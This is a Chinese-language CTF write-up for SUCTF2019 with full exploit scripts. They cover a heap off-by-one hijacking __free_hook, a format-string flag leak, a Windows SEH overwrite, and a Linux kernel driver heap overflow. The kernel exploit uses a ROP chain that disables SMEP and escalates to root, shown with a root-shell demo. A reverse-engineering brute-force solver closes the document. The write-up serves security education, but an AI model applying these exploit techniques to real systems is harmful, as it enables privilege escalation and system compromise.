SUCTF2019 部分 writeups

不算很难的比赛,但就是拿不到好成绩。值得反思。

题目文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/suctf2019

pwn

二手破电脑

先从简单的开始,很明显的off by one

char *__cdecl get_name(size_t size)
{
  char *malloc_ptr; // ST10_4
  char *result; // eax
  char v3[16]; // [esp+4h] [ebp-14h]

  *(_DWORD *)&v3[8] = __readgsdword(0x14u);
  if ( size > 0x1FF )
    size = 512;
  malloc_ptr = (char *)malloc(size);
  strcpy(v3, "%");
  sprintf(&v3[1], (const char *)&unk_14E0, size);
  __isoc99_scanf(v3, malloc_ptr);
  result = malloc_ptr;
  if ( __readgsdword(0x14u) != *(_DWORD *)&v3[8] )
    end();
  return result;
}

由于scanfnull截断,所以当size刚好使得chunk对齐时,则可以off by one给下一个chunk的size的低字节写0 。

泄露点

struc_1 *__cdecl Comment(struc_1 **a1)
{
  struc_1 *v1; // esi
  struc_1 *result; // eax
  int index; // [esp+8h] [ebp-10h]
  int v4; // [esp+Ch] [ebp-Ch]

  printf("Index: ");
  __isoc99_scanf("%d", &index);
  if ( index < 0 || index > 9 || !a1[index] || a1[index]->comment )
    return (struc_1 *)puts("Too young");
  printf("Comment on %s : ", a1[index]->name);
  v1 = a1[index];
  v1->comment = (int)malloc(0x8Cu);
  read(0, (void *)a1[index]->comment, 0x8Cu);
  printf("And its score: ");
  __isoc99_scanf("%d", &v4);
  result = a1[index];
  result->score = v4;
  return result;
}

Comment 函数 利用 read 来读取输入,意味着没有null截断,则我们可以泄露heap当中的脏数据。

思路

注意要布置好 heap 结构,这样利用的时候会方便很多。

  • 泄露libc信息
Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')

Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))
  • off by one 使得 chunk extend
Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)
  • 泄露 heap 信息,然后 chunk overlap 修改 fastbin 的 fd 来控制总结构(原本想用 one gadget 来做的,但是由于当时没有 libc ,所以就想方法劫持 __free_hook)
Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') # 
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))

Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') # 
# pause()
Throw(2)
  • 利用结构体的特点来踩size
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))

sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))
  • 劫持 hook
Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')

Throw(5)

sh.interactive()

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.111.59.243', 10001)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x86/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0x12BA)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Purchase(length, name):
    sh.sendlineafter('>>> ', '1')
    sh.sendlineafter('Name length: ', str(length))
    sh.sendafter('Name: ', name)
    sh.sendlineafter('Price: ', str(1))

def Comment(index, comment):
    sh.sendlineafter('>>> ', '2')
    sh.sendlineafter('Index: ', str(index))
    sh.sendafter(' : ', comment)
    sh.sendlineafter('And its score: ', str(1))

def Throw(index):
    sh.sendlineafter('>>> ', '3')
    sh.sendlineafter('WHICH IS THE RUBBISH PC? Give me your index: ', str(index))

Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')

Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))

Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)

Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') # 
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))

Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') # 
# pause()
Throw(2)

sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))

sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))

Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')

Throw(5)

sh.interactive()
clear()

playfmt

程序开始的时候已经将 flag 读到heap中了,我们的任务仅仅是要将其泄露出来。

本题并不依赖于 libc ,即使 libc 不同对于漏洞的利用也并不影响。

溢出点

格式化字符串漏洞,buf并不在栈上。

int do_fmt(void)
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

遇到这种题先观察其栈结构:

Breakpoint *0x0804889F
pwndbg> stack
00:0000│ esp  0xffe040f0 —▸ 0x804b040 (buf) ◂— '%6$p\n'
01:0004│      0xffe040f4 —▸ 0x8048cac ◂— jno    0x8048d23 /* 'quit' */
02:0008│      0xffe040f8 ◂— 0x4
03:000c│      0xffe040fc —▸ 0x80488e8 (logo()+59) ◂— add    esp, 0x10
04:0010│      0xffe04100 —▸ 0x8048cb1 ◂— cmp    eax, 0x3d3d3d3d /* '=====================' */
05:0014│      0xffe04104 —▸ 0x8048ac4 (main+440) ◂— call   0x804884b
06:0018│ ebp  0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158 ◂— 0x0
07:001c│      0xffe0410c —▸ 0x80488f0 (logo()+67) ◂— call   0x804884b
pwndbg> 
08:0020│   0xffe04110 —▸ 0xf7e28000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x195db0
09:0024│   0xffe04114 ◂— 0x0
0a:0028│   0xffe04118 —▸ 0xffe04158 ◂— 0x0
0b:002c│   0xffe0411c —▸ 0x8048ac4 (main+440) ◂— call   0x804884b
0c:0030│   0xffe04120 —▸ 0xf7e28d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0d:0034│   0xffe04124 ◂— 0x0
0e:0038│   0xffe04128 —▸ 0xffe04158 ◂— 0x0
0f:003c│   0xffe0412c —▸ 0x8048ac4 (main+440) ◂— call   0x804884b
pwndbg> 
10:0040│   0xffe04130 —▸ 0xf7e283dc (__exit_funcs) —▸ 0xf7e291e0 (initial) ◂— 0x0
11:0044│   0xffe04134 ◂— 0x0
12:0048│   0xffe04138 —▸ 0x96fea28 —▸ 0xf7e287b0 (main_arena+48) —▸ 0x96fee60 ◂— 0x0
13:004c│   0xffe0413c —▸ 0x96fee30 ◂— 0x0
... 
17:005c│   0xffe0414c —▸ 0xf7ca99fb (__libc_start_main+412) ◂— jmp    0xf7ca9a49

0018的位置(0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158),由于其已经成链,直接攻击即可。

思路

  • 泄露栈信息和堆信息
sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))

sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))
  • 检测是否能一次性修改,不能则抛出异常,这里成功的概率应该在 1/100 以内
sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
    raise Exception("stack")
  • printf 成链攻击,泄露flag
one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'

# pause()
sh.send(payload)
sh.recvline()

# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()

sh.send('%18$s\n\0')

脚本

概率在 1/100 以为。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './playfmt'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file, env={'LD_LIBRARY_PATH': '/usr/lib32/'})
# sh = remote('120.78.192.35', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x0804889F
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))

sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))

sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
    raise Exception("stack")

one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'

# pause()
sh.send(payload)
sh.recvline()

# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()

sh.send('%18$s\n\0')

sh.interactive()
clear()

BabyStack

这个和HITB GSEC BABYSTACK很像,就是开始的时候加上了一个除0 异常机制。由于本人闲的无聊,把除0 操作的花指令 patch 了一下, 而且没有备份,所以只能用 patched 的程序来讲,但并不影响思路。

loc_40853C:
add     ecx, esp
add     eax, ecx
push    eax
nop
pop     eax
mov     esi, [ebp+var_2C]
sub     esi, eax
div     esi

这里我 patch 成要对应的 栈地址才行,反正难度差不多,由于开始的时候已经给出了栈地址和程序基地址,所以这里的值也是很好计算的。

完成除0 异常之后,便是熟悉的HITB GSEC BABYSTACK,这里就不赘述了。

思路

  • 触发除0 异常
sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))
  • 控制SEH,然后控制程序流
# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 18696,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)

# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('', 0)

def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))

# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 18696,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)

# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

sudrv

这里我实在没有想到还可以看 kernel 信息来进行地址泄露的,感觉有点掩耳盗铃。

溢出点

驱动的write没有size限制,存在堆溢出。

signed __int64 __cdecl sudrv_write(void *buf, char *b, size_t length)
{
  JUMPOUT(copy_user_generic_unrolled(su_buf), 0, sudrv_write_cold_1);
  return -1LL;
}

由于程序没有给我们debug版本,我们是没有符号表的,自然很难确定commit_credsprepare_kernel_cred的地址。但是我们可以将启动脚本直接改成root。然后直接cat /proc/kallsyms,即可以获得所有函数的地址信息,并计算出其对应的偏移。注意必须要root查看才行。

接下来让我们来看看栈布局:

────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
   0xffffffffc0000028 <sudrv_ioctl+8>         cmp    esi, 0xdeadbeef
   0xffffffffc000002e <sudrv_ioctl+14>        je     sudrv_ioctl+88 <0xffffffffc0000078>
    ↓
   0xffffffffc0000078 <sudrv_ioctl+88>        mov    rdi, qword ptr [rip + 0x23c1] <0xffffffffc0002440>
   0xffffffffc000007f <sudrv_ioctl+95>        test   rdi, rdi
   0xffffffffc0000082 <sudrv_ioctl+98>        jne    sudrv_ioctl.cold <0xffffffffc00000b8>
    ↓
 ► 0xffffffffc00000b8 <sudrv_ioctl.cold>      call   0xffffffff810af609

   0xffffffffc00000bd <sudrv_ioctl.cold+5>    jmp    sudrv_ioctl+24 <0xffffffffc0000038>

   0xffffffffc00000c2                         call   0xffffffff819ed280

   0xffffffffc00000c7                         call   0xffffffff819ed2c0

   0xffffffffc00000cc <sudrv_exit>            mov    rdi, -0x3fffef70
   0xffffffffc00000d3 <sudrv_exit+7>          call   0xffffffff810af609
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000rsp  0xffffc9000073be80 —▸ 0xffffffff811c827f ◂— mov    ebx, eax /* 0xffffffdfd3dc389 */
01:0008│      0xffffc9000073be88 ◂— add    byte ptr [rax - 0xadc1fc0], al /* 0x5822f523e0408000 */
02:0010│      0xffffc9000073be90 ◂— 2
03:0018│      0xffffc9000073be98 —▸ 0xffffffff8229a268 ◂— 0
04:0020│      0xffffc9000073bea0 —▸ 0xffffc9000073bed8 —▸ 0xffff8880068b7600 ◂— 0
05:0028│      0xffffc9000073bea8 ◂— out    dx, eax /* 0xdeadbeef */
06:0030│      0xffffc9000073beb0 —▸ 0xffff8880068b7600 ◂— 0
07:0038│      0xffffc9000073beb8 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
 ► f 0 ffffffffc00000b8 sudrv_ioctl.cold

可以看到第六个参数0xffffffff811c827f可以泄露 kernel 基地址,而第十个参数0xffffc9000073bed8可以泄露 栈地址。

思路

  • 泄露信息,得到栈地址和 kernel 基地址
ioctl(fd, 0x73311337, 0xff0); // kmalloc

write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
// s();
ioctl(fd, 0xDEADBEEF, 0); // printk
printf("Input kernel: ");
scanf("%p", (char **)&kernel_addr);
kernel_addr -= 0x1c827f;
offset = kernel_addr - 0xFFFFFFFF81000000;
printf("kernel_addr: 0x%llx\n\n", kernel_addr);

printf("Input stack: ");
scanf("%p", (char **)&stack_addr);
getchar();
stack_addr &= 0xfffffffffffff000;
printf("stack_addr: 0x%llx\n\n", stack_addr);
  • 清理内存碎片,为了得到连续的内存空间
for (i = 0; i < 0x140; i++)
{
    ioctl(fd, 0x73311337, 0xff0);
}

之后申请的0x1000的内存都是相邻的。

  • 利用堆溢出修改下一个内存块的 next 指针,使其指向栈地址,并将其从slab中拿出。然后我们就可以控制栈了。
*(unsigned long long *)(buf + 0x1000) = stack_addr;
write(fd, buf, 0x1008);

ioctl(fd, 0x73311337, 0xff0);
ioctl(fd, 0x73311337, 0xff0);
  • 在栈上填充 ret 指令来进行滑栈
#define PADDING 0xf00

for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
{
    *(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
}
  • ROP 提权拿shell
rop = (unsigned long long *)(buf + PADDING);
*rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
*rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
*rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
*rop++ = offset + 0xffffffff81081410; // commit_creds

*rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
*rop++ = 0x6f0;
*rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;

*rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
*rop++ = 0;
*rop++ = offset + 0xffffffff81021762; // iretq; ret;

*rop++ = (unsigned long long)shell;
*rop++ = user_cs;
*rop++ = user_eflags;
*rop++ = user_sp;
*rop++ = user_ss;

write(fd, buf, 0x1000);

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

void s()
{
    puts("Paused (press any to continue)");
    getchar();
}

void shell()
{
    system("/bin/sh");
    exit(0);
}

unsigned long long user_cs, user_ss, user_eflags, user_sp;
void save_status()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp));
}

int main()
{
    int fd, i;
    unsigned long long kernel_addr, stack_addr, *rop, offset;
    char buf[0x2000];

    setbuf(stdout, NULL);
    save_status();
    signal(SIGSEGV, shell);

    if ((fd = open("/dev/meizijiutql", O_RDWR)) == -1)
    {
        fprintf(stderr, "open error: %m\n");
        exit(1);
    }

    ioctl(fd, 0x73311337, 0xff0); // kmalloc

    write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
    // s();
    ioctl(fd, 0xDEADBEEF, 0); // printk
    printf("Input kernel: ");
    scanf("%p", (char **)&kernel_addr);
    kernel_addr -= 0x1c827f;
    offset = kernel_addr - 0xFFFFFFFF81000000;
    printf("kernel_addr: 0x%llx\n\n", kernel_addr);

    printf("Input stack: ");
    scanf("%p", (char **)&stack_addr);
    getchar();
    stack_addr &= 0xfffffffffffff000;
    printf("stack_addr: 0x%llx\n\n", stack_addr);

    for (i = 0; i < 0x140; i++)
    {
        ioctl(fd, 0x73311337, 0xff0);
    }

#define PADDING 0xf00

    for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
    {
        *(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
    }
    *(unsigned long long *)(buf + 0x1000) = stack_addr;
    write(fd, buf, 0x1008);

    ioctl(fd, 0x73311337, 0xff0);
    ioctl(fd, 0x73311337, 0xff0);

    rop = (unsigned long long *)(buf + PADDING);
    *rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
    *rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
    *rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
    *rop++ = offset + 0xffffffff81081410; // commit_creds

    *rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
    *rop++ = 0x6f0;
    *rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;

    *rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
    *rop++ = 0;
    *rop++ = offset + 0xffffffff81021762; // iretq; ret;

    *rop++ = (unsigned long long)shell;
    *rop++ = user_cs;
    *rop++ = user_eflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    write(fd, buf, 0x1000);
}

运行实例:

/tmp $ id
id
uid=1000 gid=1000 groups=1000
/tmp $ ./a.out
./a.out
[   75.624593] SU Device opened
[   75.625318] Write!
[   75.625529] deadbeef 0 0 b 0 kernel: 0xffffffff91fc827f 53945dd4b5d34900 2 ffffffff9309a268 stack: 0xffffa013c015bed8 deadbeef ffff93f943c13c00 0 0
Input kernel: 0xffffffff91fc827f
0xffffffff91fc827f
kernel_addr: 0xffffffff91e00000

Input stack: 0xffffa013c015bed8
0xffffa013c015bed8
stack_addr: 0xffffa013c015b000

/tmp # id
id
uid=0 gid=0
/tmp # 

RE

hardcpp

去平坦化后,稍微分析一下就能出结果。

#include <stdio.h>
#include <string.h>

char f(char x, char x1)
{
    return ((x % 7) + x1) ^ ((x ^ 18) * 3 + 2);
}

char printable[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
#define LENGTH 0x100

char enc[] = {0xf3, 0x2e, 0x18, 0x36, 0xe1, 0x4c, 0x22, 0xd1, 0xf9, 0x8c, 0x40, 0x76, 0xf4, 0x0e, 0x00, 0x05, 0xa3, 0x90, 0x0e};

void next(char *str)
{
    int i, ii;
    for (i = 1; i < sizeof(enc); i++)
    {
        for (ii = 0; ii < LENGTH; ii++)
        {
            if (f(str[i], printable[ii]) == enc[i])
            {
                str[i + 1] = printable[ii];
                if (i > sizeof(enc) - 2)
                {
                    puts(str);
                }
            }
        }
    }
}

int main()
{
    int i, ii;
    char buf[0x100] = {0};

    for (i = 0; i < LENGTH; i++)
    {
        for (ii = 0; ii < LENGTH; ii++)
        {
            if (f(printable[i], printable[ii]) == enc[0])
            {
                memset(buf, 0, 0x100);
                buf[0] = printable[i];
                buf[1] = printable[ii];
                next(buf);
            }
        }
    }
}